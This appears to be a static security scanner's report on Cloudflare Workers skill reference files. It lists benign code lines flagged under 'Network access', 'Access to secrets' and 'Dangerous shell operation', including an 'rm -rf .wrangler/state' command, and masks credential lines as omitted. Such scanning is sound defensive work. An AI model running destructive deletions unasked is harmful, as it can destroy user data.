[Credential-related source omitted] - Network accessline 81
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 83
[Credential-related source omitted] - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 95
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted] - Network accessline 109
curl -X POST ".../workers/assets/upload?base64=true" \ - Network accessline 119
curl -X PUT ".../scripts/$SCRIPT_NAME" \ - Network accessline 134
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 135
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 136
const userWorkerName = new URL(request.url).hostname.split(".")[0]; const userWorker = env.DISPATCHER.get(userWorkerName); return await userWorker.fetch(request); - Network accessline 137
const userWorker = env.DISPATCHER.get(userWorkerName); return await userWorker.fetch(request); }, - Network accessline 138
return await userWorker.fetch(request); - Network accessline 145
const pathParts = new URL(request.url).pathname.split("/").filter(Boolean); const userWorker = env.DISPATCHER.get(pathParts[0]); return await userWorker.fetch(request); - Network accessline 147
return await userWorker.fetch(request); - Network accessline 153
const userWorkerName = await env.ROUTING_KV.get(hostname); const userWorker = env.DISPATCHER.get(userWorkerName); return await userWorker.fetch(request); - Network accessline 155
return await userWorker.fetch(request); - Network accessline 172
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 173
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 184
const headers = new Headers(request.headers); headers.set("Authorization", `Bearer ${generateJWT(customerName)}`); return fetch(new Request(request, { headers })); - Network accessline 185
headers.set("Authorization", `Bearer ${generateJWT(customerName)}`); return fetch(new Request(request, { headers })); } - Network accessline 186
return fetch(new Request(request, { headers })); - Network accessline 189
return fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/configuration.md
- Network accessline 28
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 29
"https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/dispatch/namespaces/$NAMESPACE" \ - Access to secretsline 30
[Credential-related source omitted] - Network accessline 75
limits: { cpuMs: 10, // Max CPU ms subRequests: 5 // Max fetch() calls - Network accessline 76
cpuMs: 10, // Max CPU ms subRequests: 5 // Max fetch() calls } - Network accessline 77
subRequests: 5 // Max fetch() calls - Network accessline 85
try { return await userWorker.fetch(request); - Network accessline 86
return await userWorker.fetch(request); - Network accessline 130
# Set tags curl -X PUT ".../tags" -d '["customer-123", "pro", "production"]' - Network accessline 131
curl -X PUT ".../tags" -d '["customer-123", "pro", "production"]' - Network accessline 133
# Filter by tag curl ".../scripts?tags=production%3Ayes" - Network accessline 134
curl ".../scripts?tags=production%3Ayes" - Network accessline 136
# Delete by tag curl -X DELETE ".../scripts?tags=customer-123%3Ayes" - Network accessline 137
curl -X DELETE ".../scripts?tags=customer-123%3Ayes"
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/gotchas.md
- Network accessline 11
try { const userWorker = env.DISPATCHER.get(workerName); return userWorker.fetch(request); - Network accessline 12
const userWorker = env.DISPATCHER.get(workerName); return userWorker.fetch(request); } catch (e) { - Network accessline 13
return userWorker.fetch(request); - Network accessline 59
**Cause:** Outbound Worker enabled blocks `connect()` API for TCP sockets **Solution:** Outbound Workers only intercept `fetch()` calls; TCP socket connections unavailable when outbound configured. Remove outbound if TCP needed, or use pr - Network accessline 60
**Solution:** Outbound Workers only intercept `fetch()` calls; TCP socket connections unavailable when outbound configured. Remove outbound if TCP needed, or use proxy pattern. - Network accessline 123
See [Cloudflare API Rate Limits](https://developers.cloudflare.com/fundamentals/api/reference/limits/) for details. - Network accessline 129
| CPU time (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Subrequests (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Outbound Worker subrequests | Not intercept - Network accessline 130
| Subrequests (custom limits) | Up to Workers plan limit | Set per-invocation in dispatch worker | | Outbound Worker subrequests | Not intercepted for DO/mTLS | Only regular fetch() calls | | TCP sockets with outbound | Disabled | `connect( - Network accessline 131
| Outbound Worker subrequests | Not intercepted for DO/mTLS | Only regular fetch() calls |
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-for-platforms/patterns.md
- Network accessline 11
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 12
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 23
const userWorker = env.DISPATCHER.get(userWorkerName, {}, { limits }); return await userWorker.fetch(request); - Network accessline 24
return await userWorker.fetch(request); - Network accessline 63
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 64
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 72
const userWorker = env.DISPATCHER.get(hostnameData.workerName); return await userWorker.fetch(request); - Network accessline 73
return await userWorker.fetch(request); - Network accessline 148
**VibeSDK:** For AI-powered code generation + deployment platforms, see [VibeSDK](https://github.com/cloudflare/vibesdk) - handles AI generation, sandbox execution, live preview, and deployment. - Network accessline 150
Reference: [AI Vibe Coding Platform Architecture](https://developers.cloudflare.com/reference-architecture/diagrams/ai/ai-vibe-coding-platform/)
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/README.md
- Network accessline 7
**URL:** [workers.cloudflare.com/playground](https://workers.cloudflare.com/playground) - Network accessline 26
export default { async fetch(request, env, ctx) { - Network accessline 27
async fetch(request, env, ctx) { - Network accessline 36
export default { async fetch(request, env, ctx) { - Network accessline 37
async fetch(request, env, ctx) { - Network accessline 47
export default { async fetch(request, env, ctx) { - Network accessline 48
async fetch(request, env, ctx) { - Network accessline 49
const response = await fetch('https://example.com'); - Network accessline 60
import { Hono } from 'https://esm.sh/hono@3'; - Network accessline 62
export default { async fetch(request) { - Network accessline 63
async fetch(request) { - Network accessline 64
const app = new Hono(); app.get('/', (c) => c.text('Hello Hono!')); return app.fetch(request); - Network accessline 65
app.get('/', (c) => c.text('Hello Hono!')); return app.fetch(request); } - Network accessline 66
return app.fetch(request); - Network accessline 124
- [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/) - Network accessline 125
- [Workers Examples](https://developers.cloudflare.com/workers/examples/) - Network accessline 126
- [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/) - Network accessline 127
- [Workers API Reference](https://developers.cloudflare.com/workers/runtime-apis/)
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/api.md
- Network accessline 6
export default { async fetch(request, env, ctx) { - Network accessline 7
async fetch(request, env, ctx) { - Network accessline 52
// Background work (after response sent) ctx.waitUntil(fetch('https://logs.example.com', { method: 'POST', body: '...' })); - Network accessline 53
ctx.waitUntil(fetch('https://logs.example.com', { method: 'POST', body: '...' })); - Network accessline 60
const response = await fetch('https://api.example.com'); - Network accessline 63
// With options await fetch(url, { - Network accessline 64
await fetch(url, { - Network accessline 77
let response = await cache.match(request); if (!response) { response = await fetch(origin); - Network accessline 78
if (!response) { response = await fetch(origin); await cache.put(request, response.clone()); // Clone before put! - Network accessline 79
response = await fetch(origin);
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/configuration.md
- Network accessline 5
Navigate to [workers.cloudflare.com/playground](https://workers.cloudflare.com/playground) - Network accessline 35
export default { async fetch(request, env, ctx) { - Network accessline 36
async fetch(request, env, ctx) { - Network accessline 53
// Import from CDN import { Hono } from 'https://esm.sh/hono@3'; - Network accessline 54
import { Hono } from 'https://esm.sh/hono@3'; - Network accessline 59
export default { async fetch(request) { - Network accessline 60
async fetch(request) { - Network accessline 61
const app = new Hono(); app.get('/', (c) => c.text('Hello')); return app.fetch(request); - Network accessline 62
app.get('/', (c) => c.text('Hello')); return app.fetch(request); } - Network accessline 63
return app.fetch(request); - Network accessline 108
Example: `https://workers.cloudflare.com/playground#abc123...`
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/gotchas.md
- Network accessline 17
// ❌ Body consumed twice const body = await request.text(); await fetch(url, { body: request.body }); // Error! - Network accessline 19
await fetch(url, { body: request.body }); // Error! - Network accessline 22
const clone = request.clone(); const body = await request.text(); await fetch(url, { body: clone.body }); - Network accessline 24
await fetch(url, { body: clone.body }); - Network accessline 32
// ✅ Move slow work to background ctx.waitUntil(fetch('https://analytics.example.com', {...})); - Network accessline 33
ctx.waitUntil(fetch('https://analytics.example.com', {...})); - Network accessline 42
// ❌ 100 individual fetches // ✅ Batch into single API call await fetch('https://api.example.com/batch', { - Network accessline 43
// ✅ Batch into single API call await fetch('https://api.example.com/batch', { body: JSON.stringify({ ids: [...] }) - Network accessline 44
await fetch('https://api.example.com/batch', {
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-playground/patterns.md
- Network accessline 6
export default { async fetch(request) { - Network accessline 7
async fetch(request) { - Network accessline 26
export default { async fetch(request) { - Network accessline 27
async fetch(request) { - Network accessline 37
export default { async fetch(request) { - Network accessline 38
async fetch(request) { - Network accessline 39
const url = new URL(request.url); url.hostname = 'api.example.com'; return fetch(url.toString(), { - Network accessline 40
url.hostname = 'api.example.com'; return fetch(url.toString(), { method: request.method, headers: request.headers, body: request.body - Network accessline 41
return fetch(url.toString(), { - Network accessline 51
export default { async fetch(request) { - Network accessline 52
async fetch(request) { - Network accessline 60
}); } const response = await fetch('https://api.example.com', request); - Network accessline 61
} const response = await fetch('https://api.example.com', request); const modified = new Response(response.body, response); - Network accessline 62
const response = await fetch('https://api.example.com', request); - Network accessline 73
export default { async fetch(request) { - Network accessline 74
async fetch(request) { - Network accessline 75
if (request.method !== 'GET') return fetch(request); - Network accessline 77
let response = await cache.match(request); if (!response) { response = await fetch('https://api.example.com'); - Network accessline 78
if (!response) { response = await fetch('https://api.example.com'); if (response.status === 200) await cache.put(request, response.clone()); - Network accessline 79
response = await fetch('https://api.example.com'); - Network accessline 90
import { Hono } from 'https://esm.sh/hono@3'; - Network accessline 101
export default { async fetch(request) { - Network accessline 102
async fetch(request) { - Network accessline 119
export default { async fetch(request) { - Network accessline 120
async fetch(request) { - Network accessline 121
try { const response = await fetch('https://api.example.com'); if (!response.ok) throw new Error(`API returned ${response.status}`); - Network accessline 122
const response = await fetch('https://api.example.com');
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/README.md
- Network accessline 37
**Don't use TCP Sockets when:** - ❌ You just need HTTP/HTTPS (use `fetch()` or VPC Services) - Network accessline 38
- ❌ You just need HTTP/HTTPS (use `fetch()` or VPC Services) - Network accessline 47
export default { async fetch(req: Request): Promise<Response> { - Network accessline 48
async fetch(req: Request): Promise<Response> { - Network accessline 111
2. **Validate destinations** - Prevent SSRF by allowlisting hosts 3. **Use Hyperdrive for databases** - Better performance than raw TCP 4. **Prefer fetch() for HTTP** - Only use TCP when necessary - Network accessline 112
3. **Use Hyperdrive for databases** - Better performance than raw TCP 4. **Prefer fetch() for HTTP** - Only use TCP when necessary 5. **Combine with Smart Placement** - Reduce latency to private networks - Network accessline 113
4. **Prefer fetch() for HTTP** - Only use TCP when necessary - Network accessline 125
- [TCP Sockets API Documentation](https://developers.cloudflare.com/workers/runtime-apis/tcp-sockets/) - Network accessline 126
- [Connect to databases guide](https://developers.cloudflare.com/workers/tutorials/connect-to-postgres/) - Network accessline 127
- [Cloudflare Tunnel setup](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/gotchas.md
- Network accessline 38
**Solution:** Create inside handler: `export default { async fetch() { const socket = connect(...); } }` - Network accessline 152
|----------|-------------|--------| | PostgreSQL/MySQL | [Hyperdrive](../hyperdrive/) | Connection pooling, caching | | HTTP/HTTPS | `fetch()` | Simpler, built-in | - Network accessline 153
| PostgreSQL/MySQL | [Hyperdrive](../hyperdrive/) | Connection pooling, caching | | HTTP/HTTPS | `fetch()` | Simpler, built-in | | HTTP with SSRF protection | VPC Services (beta 2025+) | Declarative bindings | - Network accessline 154
| HTTP/HTTPS | `fetch()` | Simpler, built-in |
packages/autoskills/skills-registry/cloudflare-deploy/references/workers-vpc/patterns.md
- Network accessline 140
export default { async fetch(req: Request): Promise<Response> { - Network accessline 141
async fetch(req: Request): Promise<Response> { - Network accessline 197
export default { async fetch(req: Request): Promise<Response> { - Network accessline 198
async fetch(req: Request): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/README.md
- Network accessline 18
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 19
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Access to secretsline 38
[Credential-related source omitted] - Network accessline 63
// HTTP requests async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> - Network accessline 64
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> - Network accessline 78
**Docs**: https://developers.cloudflare.com/workers/ - Network accessline 79
**Examples**: https://developers.cloudflare.com/workers/examples/ - Network accessline 80
**Runtime APIs**: https://developers.cloudflare.com/workers/runtime-apis/
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/api.md
- Network accessline 6
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 7
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 13
}); } return fetch(request); // Subrequest to origin - Network accessline 14
} return fetch(request); // Subrequest to origin }, - Network accessline 15
return fetch(request); // Subrequest to origin - Access to secretsline 52
[Credential-related source omitted] - Network accessline 61
if (!response) { response = await fetch(request); - Network accessline 62
response = await fetch(request); - Network accessline 156
async fetch(request: Request): Promise<Response> { - Network accessline 161
return new Response(String(this.value)); } // Usage: await stub.fetch('http://x/increment') - Network accessline 163
// Usage: await stub.fetch('http://x/increment') - Network accessline 179
// Worker-to-worker RPC (zero latency, no internet round-trip) return env.SERVICE_B.fetch(request); - Network accessline 180
return env.SERVICE_B.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/configuration.md
- Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Network accessline 129
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 130
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Access to secretsline 145
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/frameworks.md
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/gotchas.md
- Network accessline 63
**Cause:** Using old `stub.fetch()` pattern instead of RPC (2024+) - Network accessline 67
// ❌ Old fetch pattern export class MyDO { async fetch(request: Request) { - Network accessline 68
export class MyDO { async fetch(request: Request) { const { method } = await request.json(); - Network accessline 69
async fetch(request: Request) { - Network accessline 74
} const stub = env.DO.get(id); const res = await stub.fetch('http://x', { method: 'POST', body: JSON.stringify({ method: 'increment' }) }); - Network accessline 76
const res = await stub.fetch('http://x', { method: 'POST', body: JSON.stringify({ method: 'increment' }) });
packages/autoskills/skills-registry/cloudflare-deploy/references/workers/patterns.md
- Network accessline 10
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 11
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 77
// ❌ Sequential const user = await fetch('/api/user/1'); - Network accessline 78
const user = await fetch('/api/user/1'); - Network accessline 79
const posts = await fetch('/api/posts?user=1'); - Network accessline 81
// ✅ Parallel const [user, posts] = await Promise.all([fetch('/api/user/1'), fetch('/api/posts?user=1')]); - Network accessline 82
const [user, posts] = await Promise.all([fetch('/api/user/1'), fetch('/api/posts?user=1')]); - Network accessline 113
describe('Worker', () => { it('returns 200', async () => { const req = new Request('http://localhost/'); - Network accessline 114
it('returns 200', async () => { const req = new Request('http://localhost/'); const env = { MY_VAR: 'test' }; - Network accessline 115
const req = new Request('http://localhost/'); - Network accessline 116
const env = { MY_VAR: 'test' }; const ctx = { waitUntil: () => {}, passThroughOnException: () => {} }; expect((await worker.fetch(req, env, ctx)).status).toBe(200); - Network accessline 117
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} }; expect((await worker.fetch(req, env, ctx)).status).toBe(200); }); - Network accessline 118
expect((await worker.fetch(req, env, ctx)).status).toBe(200); - Network accessline 181
async run(event: WorkflowEvent<{ userId: string }>, step: WorkflowStep) { const user = await step.do('fetch-user', async () => fetch(`/api/users/${event.payload.userId}`).then(r => r.json()) - Network accessline 182
const user = await step.do('fetch-user', async () => fetch(`/api/users/${event.payload.userId}`).then(r => r.json()) ); - Network accessline 183
fetch(`/api/users/${event.payload.userId}`).then(r => r.json())
packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/api.md
- Network accessline 52
// From Worker export default { async fetch(req, env) { const instance = await env.MY_WORKFLOW.create({id: crypto.randomUUID(), params: { userId: 'user123' }}); return Response.json({ id: instance.id }); }}; - Network accessline 53
export default { async fetch(req, env) { const instance = await env.MY_WORKFLOW.create({id: crypto.randomUUID(), params: { userId: 'user123' }}); return Response.json({ id: instance.id }); }}; - Network accessline 75
await step.do('validate', async () => { if (!event.params.paymentMethod) throw new NonRetryableError('Payment method required'); const res = await fetch('https://api.example.com/charge', { method: 'POST' }); - Network accessline 76
if (!event.params.paymentMethod) throw new NonRetryableError('Payment method required'); const res = await fetch('https://api.example.com/charge', { method: 'POST' }); if (res.status === 401) throw new NonRetryableError('Invalid credent - Network accessline 77
const res = await fetch('https://api.example.com/charge', { method: 'POST' }); - Network accessline 86
// Idempotency await step.do('charge', async () => { const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json()); - Network accessline 87
await step.do('charge', async () => { const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json()); if (sub.charged) return sub; // Already done - Network accessline 88
const sub = await fetch(`https://api/subscriptions/${id}`).then(r => r.json()); - Network accessline 89
if (sub.charged) return sub; // Already done return await fetch(`https://api/subscriptions/${id}`, {method: 'POST', body: JSON.stringify({ amount: 10.0 })}).then(r => r.json()); }); - Network accessline 90
return await fetch(`https://api/subscriptions/${id}`, {method: 'POST', body: JSON.stringify({ amount: 10.0 })}).then(r => r.json()); - Network accessline 175
[Credential-related source omitted] - Network accessline 176
[Credential-related source omitted] - Network accessline 178
[Credential-related source omitted] - Network accessline 179
[Credential-related source omitted] - Network accessline 181
[Credential-related source omitted] - Network accessline 182
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/configuration.md
- Network accessline 40
timeout: '30 minutes' // Per-attempt timeout (default: 10min) }, async () => { const res = await fetch('https://api.example.com/data'); - Network accessline 41
}, async () => { const res = await fetch('https://api.example.com/data'); if (!res.ok) throw new Error('Failed'); - Network accessline 42
const res = await fetch('https://api.example.com/data'); - Access to secretsline 141
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/gotchas.md
- Network accessline 89
- [Official Docs](https://developers.cloudflare.com/workflows/) - Network accessline 90
- [Get Started Guide](https://developers.cloudflare.com/workflows/get-started/guide/) - Network accessline 91
- [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/) - Network accessline 92
- [REST API](https://developers.cloudflare.com/api/resources/workflows/) - Network accessline 93
- [Examples](https://developers.cloudflare.com/workflows/examples/) - Network accessline 94
- [Limits](https://developers.cloudflare.com/workflows/reference/limits/) - Network accessline 95
- [Pricing](https://developers.cloudflare.com/workflows/reference/pricing/)
packages/autoskills/skills-registry/cloudflare-deploy/references/workflows/patterns.md
- Network accessline 38
async run(event, step) { const rawData = await step.do('extract', {retries: { limit: 10, delay: '30s', backoff: 'exponential' }}, async () => { const res = await fetch(event.params.sourceUrl); - Network accessline 39
const rawData = await step.do('extract', {retries: { limit: 10, delay: '30s', backoff: 'exponential' }}, async () => { const res = await fetch(event.params.sourceUrl); if (!res.ok) throw new Error('Fetch failed'); - Network accessline 40
const res = await fetch(event.params.sourceUrl);
packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/api.md
- Network accessline 28
it("responds with 200", async () => { const response = await worker.fetch("http://example.com"); - Network accessline 29
const response = await worker.fetch("http://example.com"); - Access to secretsline 71
[Credential-related source omitted] - Network accessline 82
// Platform APIs await caches.default.put("https://example.com", new Response("cached")); - Network accessline 83
await caches.default.put("https://example.com", new Response("cached")); - Network accessline 165
const response = await api.fetch("http://example.com/api/login"); - Network accessline 166
// API Worker calls AUTH Worker via env.AUTH.fetch()
packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/auth.md
packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/configuration.md
- Access to secretsline 15
[Credential-related source omitted] - Network accessline 59
// Variables { "vars": { "API_URL": "https://api.example.com" } } - Network accessline 60
{ "vars": { "API_URL": "https://api.example.com" } } - Network accessline 127
export default { async fetch(request, env) { - Network accessline 128
async fetch(request, env) { - Network accessline 129
// Try serving static asset first const asset = await env.ASSETS.fetch(request); if (asset.status !== 404) return asset; - Network accessline 130
const asset = await env.ASSETS.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/gotchas.md
- Network accessline 111
**Cause:** Mock function not returning Response **Solution:** Always return Response, use `fetch(req)` for passthrough: - Network accessline 112
**Solution:** Always return Response, use `fetch(req)` for passthrough: - Network accessline 117
return new Response("mocked"); } return fetch(req); // Required for non-mocked requests - Network accessline 118
} return fetch(req); // Required for non-mocked requests } - Network accessline 119
return fetch(req); // Required for non-mocked requests - Dangerous shell operationline 166
rm -rf .wrangler/state # Clear local state - Network accessline 186
- Docs: https://developers.cloudflare.com/workers/wrangler/ - Network accessline 187
- Config: https://developers.cloudflare.com/workers/wrangler/configuration/ - Network accessline 188
- Commands: https://developers.cloudflare.com/workers/wrangler/commands/ - Network accessline 189
- Examples: https://github.com/cloudflare/workers-sdk/tree/main/templates - Network accessline 190
- Discord: https://discord.gg/cloudflaredev
packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/patterns.md
- Network accessline 89
it("creates user", async () => { const response = await worker.fetch("http://example.com/api/users", { - Network accessline 90
const response = await worker.fetch("http://example.com/api/users", { - Network accessline 116
it("fetches users", async () => { const response = await SELF.fetch("https://example.com/api/users"); - Network accessline 117
const response = await SELF.fetch("https://example.com/api/users"); - Network accessline 136
// Test API calling AUTH const response = await apiWorker.fetch("http://example.com/api/protected"); - Network accessline 137
const response = await apiWorker.fetch("http://example.com/api/protected"); - Network accessline 152
}); } return fetch(req); // Pass through other requests - Network accessline 153
} return fetch(req); // Pass through other requests } - Network accessline 154
return fetch(req); // Pass through other requests - Network accessline 158
// Test Worker that calls external API const response = await worker.fetch("http://example.com/proxy"); - Network accessline 159
const response = await worker.fetch("http://example.com/proxy"); - Network accessline 179
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 180
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 183
[Credential-related source omitted] - Network accessline 193
export default { async fetch(request, env) { - Network accessline 194
async fetch(request, env) { - Network accessline 197
return Response.json({ data: "from API" }); } return env.ASSETS.fetch(request); // Static assets - Network accessline 198
} return env.ASSETS.fetch(request); // Static assets } - Network accessline 199
return env.ASSETS.fetch(request); // Static assets
packages/autoskills/skills-registry/cloudflare-deploy/references/zaraz/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/zaraz/patterns.md
packages/autoskills/skills-registry/cloudflare/SKILL.md
- Network accessline 14
- **The project has `wrangler.jsonc`, `wrangler.json`, or `wrangler.toml`, and no `cloudflare.config.ts`:** use Wrangler for development and deployment, and load the `wrangler` skill. `cf` resource commands work alongside it. Run `cf migrat - Network accessline 15
- **Every other project, including a new project or one with no Cloudflare configuration:** use `cf`. Load the `cf-cli` skill if it is installed; otherwise follow [Use cf with coding agents](https://developers.cloudflare.com/cf/agents/index - Network accessline 17
The product guidance below applies with either CLI. Where it names a Wrangler command or file, find the `cf` equivalent with `cf cli search "<task>"` or the [Wrangler to cf reference](https://developers.cloudflare.com/cf/wrangler/reference/ - Network accessline 28
**Recommend Workers and [Workers Static Assets](https://developers.cloudflare.com/workers/static-assets/index.md) for new websites and applications, including static sites, SPAs, and full-stack apps.** Workers can do everything Pages can do - Network accessline 30
Find the row closest to the user's task. Products can appear in multiple rows, and a solution can combine products. Read the linked reference or docs before implementing; load named skills when installed. Local links open bundled references - Network accessline 32
| What you need to do | Product or tool to consider | When to choose it | Skill or reference | | --- | --- | --- | --- | | Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inf - Network accessline 33
| --- | --- | --- | --- | | Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inference, retrieval, or agent tooling | [AI docs](https://developers.cloudflare.com/ai/index.md) - Network accessline 34
| Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inference, retrieval, or agent tooling | [AI docs](https://developers.cloudflare.com/ai/index.md) | - Network accessline 35
| Choose infrastructure for a customer-facing platform | Cloudflare for Platforms | Compare running customer code with serving an app on customer domains | [Platform overview](https://developers.cloudflare.com/cloudflare-for-platforms/index - Network accessline 36
| Choose an approach to live audio and video | Realtime | Compare application SDKs, media infrastructure, and connectivity relays | [Realtime overview](https://developers.cloudflare.com/realtime/index.md) | - Network accessline 37
| Start a Worker or framework project | C3 | Scaffold a project using the appropriate framework template | [C3](references/c3/README.md); `wrangler` skill | | Build or deploy a Next.js app on Cloudflare | vinext + Workers | Use vinext rathe - Network accessline 38
| Build or deploy a Next.js app on Cloudflare | vinext + Workers | Use vinext rather than OpenNext for new projects | [nextjs-on-cloudflare skill](../nextjs-on-cloudflare/SKILL.md); [Next.js docs](https://developers.cloudflare.com/workers/f - Network accessline 39
| Host a new static site, SPA, or full-stack app | Workers + Workers Static Assets | Serve site files and add server-side logic where needed | [Static Assets](references/static-assets/README.md); `workers-best-practices` skill | | Build an - Network accessline 40
| Build an API or handle webhooks | Workers | Run request handlers with access to Cloudflare services | `workers-best-practices` skill; [Workers docs](https://developers.cloudflare.com/workers/index.md) | - Network accessline 41
| Control team, CI, or service-account access to Developer Platform resources | Roles, scopes, and permission policies | Choose the least-privilege role and a scope supported for the member, User Group, or API token | [Roles and permissions - Network accessline 42
| Maintain an existing Pages deployment | Pages + Pages Functions | Update an existing site or its server endpoints; use Workers for new projects | [Pages](references/pages/README.md); [Pages Functions](references/pages-functions/README.md) - Network accessline 43
| Move a Pages project to Workers | Workers + Workers Static Assets | The task calls for migrating the hosting platform | [Pages migration guide](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/in - Network accessline 44
| Let customers deploy code on your platform | Workers for Platforms | Run and manage customer Workers with per-customer controls | [Workers for Platforms docs](https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platform - Network accessline 45
| Let customers use their own domains with your app | Cloudflare for SaaS | Manage custom hostnames, TLS certificates, and origin routing; check hostname validation and apex-domain plan requirements. Combine with Workers for Platforms when - Network accessline 46
| Connect a Worker to storage or another service | Bindings | Give the Worker access to configured resources through its environment | [Bindings](references/bindings/README.md) | | Run containerized services or Linux software | Containers | - Network accessline 47
| Run containerized services or Linux software | Containers | The workload needs a container image or software outside the Workers runtime | [Containers](references/containers/README.md) | | Execute generated or untrusted code, build Code M - Network accessline 48
| Execute generated or untrusted code, build Code Mode tools, or create on-demand previews | Dynamic Workers | Load code at runtime in isolated Workers; check bindings, egress controls, and resource limits. Choose Sandbox when execution nee - Network accessline 49
| Give an agent a shell, filesystem, or interactive development environment | Sandbox SDK | Code execution needs a Linux environment or container tools; inspect the package line first | `sandbox-next` for new or preview projects; `sandbox-s - Network accessline 50
| Upgrade a stable Sandbox app to the preview API | Sandbox SDK | The user wants the stable-to-next migration | `sandbox-migrate-to-next` skill; [migration guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) | - Network accessline 51
| Coordinate chat rooms, games, collaborative documents, or bookings | Durable Objects | Operations need shared state and coordination per room, document, or entity | `durable-objects` skill; [Durable Objects docs](https://developers.cloudf - Network accessline 52
| Store and recover state inside a Durable Object | Durable Object storage | Choose storage APIs, transactions, and recovery for coordinated per-entity data | `durable-objects` skill; [SQLite storage API](https://developers.cloudflare.com/d - Network accessline 55
| Distribute configuration or other key-value data | KV | Read-heavy key-value access fits the workload's consistency requirements | [KV](references/kv/README.md) | | Store uploads, downloads, or large objects | R2 | Store files by object k - Network accessline 56
| Store uploads, downloads, or large objects | R2 | Store files by object key; pair with D1 when searchable metadata needs SQL | [R2](references/r2/README.md) | | Store versioned file trees, agent checkpoints, or repositories | Artifacts | - Network accessline 57
| Store versioned file trees, agent checkpoints, or repositories | Artifacts | Files need versioning and Git-compatible access; currently closed beta, so confirm access before implementation | [Artifacts docs](https://developers.cloudflare. - Network accessline 58
| Ingest event streams into R2 | Basin Pipelines | Transform and deliver streaming records into R2 | `basin` skill; [Basin Pipelines](https://developers.cloudflare.com/basin-pipelines/index.md) | - Network accessline 59
| Manage Iceberg tables in R2 | Basin Catalog | Organize tables for analytics and compatible query engines | `basin` skill; [Basin Catalog](https://developers.cloudflare.com/basin-catalog/index.md) | - Network accessline 60
| Query Iceberg tables with SQL | Basin SQL | Analyze tables in Basin Catalog | `basin` skill; [Basin SQL](https://developers.cloudflare.com/basin-sql/index.md) | - Network accessline 61
| Keep a durable event log with independent readers | K2 Streams | Produce records from Workers or HTTP, then consume with subscriptions | `k2` skill; [K2 docs](https://developers.cloudflare.com/k2/index.md) | - Network accessline 62
| Cache application responses | Workers Cache | Default for application caching; check the patterns and limitations before choosing alternatives | [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md); see caching guidan - Network accessline 63
| Accelerate an existing website and control cached content | Cache/CDN | Configure caching for a proxied origin using Cache Rules, expiration settings, and purging | [Cache/CDN docs](https://developers.cloudflare.com/cache/index.md) | - Network accessline 64
